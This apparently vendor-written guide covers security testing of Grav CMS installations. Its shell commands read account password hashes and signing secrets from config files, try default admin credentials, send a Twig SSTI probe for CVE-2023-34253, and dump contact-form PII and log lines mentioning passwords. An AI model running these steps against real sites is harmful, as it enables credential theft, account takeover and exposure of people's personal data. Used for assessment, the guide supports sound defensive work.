Grav CMS is a popular database-free PHP flat-file CMS known for its performance and flexibility. Key assessment areas: user/accounts/ YAML files contain bcrypt-hashed passwords for all admin users; user/config/security.yaml may expose a secret key used for token signing; the Admin Plugin at /admin provides credential brute-force access; and user/data/ stores form submission data including contact form PII. This guide covers systematic Grav CMS security assessment.
# Grav CMS — user/accounts/ YAML hash and config extraction
GRAV_URL="https://site.example.com"
# user/accounts/ — Grav user YAML files (one per user)
ls /var/www/grav/user/accounts/ 2>/dev/null
# admin.yaml, editor.yaml, etc.
for ACCOUNT in /var/www/grav/user/accounts/*.yaml; do
echo "=== ${ACCOUNT} ==="
cat "${ACCOUNT}" 2>/dev/null
done
# email: admin@example.com
# fullname: Admin
# password: '$2y$10$...' <-- bcrypt hash
# state: enabled
# access:
# admin:
# login: true
# super: true <-- superadmin (true = full access)
# user/config/security.yaml — secret key for token signing
cat /var/www/grav/user/config/security.yaml 2>/dev/null
# secret: 'some-random-secret' <-- CSRF token and session signing key
# user/config/system.yaml — session configuration
grep -E "secret|session|path" /var/www/grav/user/config/system.yaml 2>/dev/null
# Check web access to user/ directory (must return 403)
for PATH in "user/accounts/" "user/config/" "user/data/" "logs/"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${GRAV_URL}/${PATH}" 2>/dev/null)
echo "/${PATH}: HTTP ${STATUS}"
done
# Test admin credentials
for CRED in "admin:admin" "admin@example.com:admin" "admin:password"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${GRAV_URL}/admin/login" \
-d "data[username]=${USER}&data[password]=${PASS}&task=login" \
-c /tmp/grav_c -b /tmp/grav_c -L 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Grav CMS Admin Plugin — credential and plugin vulnerability assessment
GRAV_URL="https://site.example.com"
# Grav Admin Plugin (grav-plugin-admin) at /admin
# Default admin path: /admin (configurable via user/plugins/admin.yaml)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${GRAV_URL}/admin" 2>/dev/null)
echo "/admin: HTTP ${STATUS}"
# Grav version disclosure
curl -s "${GRAV_URL}/admin/api" 2>/dev/null | head -5
cat /var/www/grav/grav/CHANGELOG.md 2>/dev/null | head -3
# Grav Plugin Directory — list installed plugins
ls /var/www/grav/user/plugins/ 2>/dev/null | head -20
# admin, form, login, errors, problems, etc.
# Grav admin — page editing (admin session required)
ADMIN_SESS="extracted-admin-session"
# List all pages including drafts
curl -s "${GRAV_URL}/admin/pages.json" \
-b "grav-site-${ADMIN_SESS}=..." 2>/dev/null | \
python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for p in (d.get('pages',[]) if isinstance(d,dict) else d)[:5]:
print(f' {p.get(\"slug\")} — visible={p.get(\"visible\")}')
except: pass
" 2>/dev/null
# Check for Grav RCE CVE-2023-34253 (Grav admin SSTI)
# Grav < 1.7.42 is vulnerable to SSTI in admin flex-objects
curl -s -X POST "${GRAV_URL}/admin/flex-objects/users/admin/edit" \
-d "data[fullname]={{7*7}}" \
-c /tmp/grav_rce 2>/dev/null | grep -o "49" | head -1
# Grav CMS — user/data/ form submission PII access
# Grav Form Plugin stores form submissions as YAML files in user/data/
# user/data/ directory — form submission files
find /var/www/grav/user/data/ -name "*.yaml" 2>/dev/null | head -20
# user/data/contact-form/2026-01-15-14-30-00.yaml
# user/data/newsletter/2026-01-16-09-15-00.yaml
# Read form submissions (contact forms, newsletter signups, etc.)
for SUBMISSION in /var/www/grav/user/data/*/*.yaml; do
echo "=== ${SUBMISSION} ==="
cat "${SUBMISSION}" 2>/dev/null | head -20
done
# name: John Doe
# email: john@example.com
# message: "I need help with..."
# phone: +1 555-1234
# Grav logs — check for credential leakage in logs
cat /var/www/grav/logs/grav.log 2>/dev/null | \
grep -E "password|credential|secret|key|exception" | head -10
# Cache directory — PHP serialized objects
ls /var/www/grav/cache/ 2>/dev/null | head -10
# Grav cache may contain serialized PHP objects with sensitive data
| Security Test | Method | Risk |
|---|---|---|
| user/accounts/ YAML bcrypt hash web accessibility | GET /user/accounts/ — HTTP 200 = direct bcrypt hash download without server access; all admin accounts compromised offline | Critical |
| CVE-2023-34253 SSTI in Grav admin flex-objects (Grav <1.7.42) | POST admin profile with Twig payload — authenticated admin SSTI enabling arbitrary PHP code execution on server | Critical |
| Admin credential brute-force at /admin/login | POST /admin/login — admin/admin or common passwords; admin session enables full CMS control, plugin installation, file upload | High |
| user/data/ form submission PII access | Read /var/www/grav/user/data/ — all contact form submissions including names, emails, phone numbers, messages in plaintext YAML | High |
| user/config/security.yaml secret key extraction | Read user/config/security.yaml — CSRF token signing key; forge CSRF tokens for authenticated actions without admin session | High |
Ironimo tests Grav CMS deployments for user/accounts/ YAML bcrypt hash web accessibility assessment, CVE-2023-34253 Twig SSTI admin flex-objects RCE testing (Grav <1.7.42), admin credential brute-force at /admin/login, user/config/security.yaml secret key extraction, user/data/ form submission PII YAML file enumeration, logs/grav.log credential leakage assessment, Grav plugin inventory for unpatched vulnerability detection, /user/ /vendor/ /system/ /cache/ web accessibility verification, Grav version disclosure for CVE targeting, and Grav CLI bin/ directory accessibility check.
Start free scan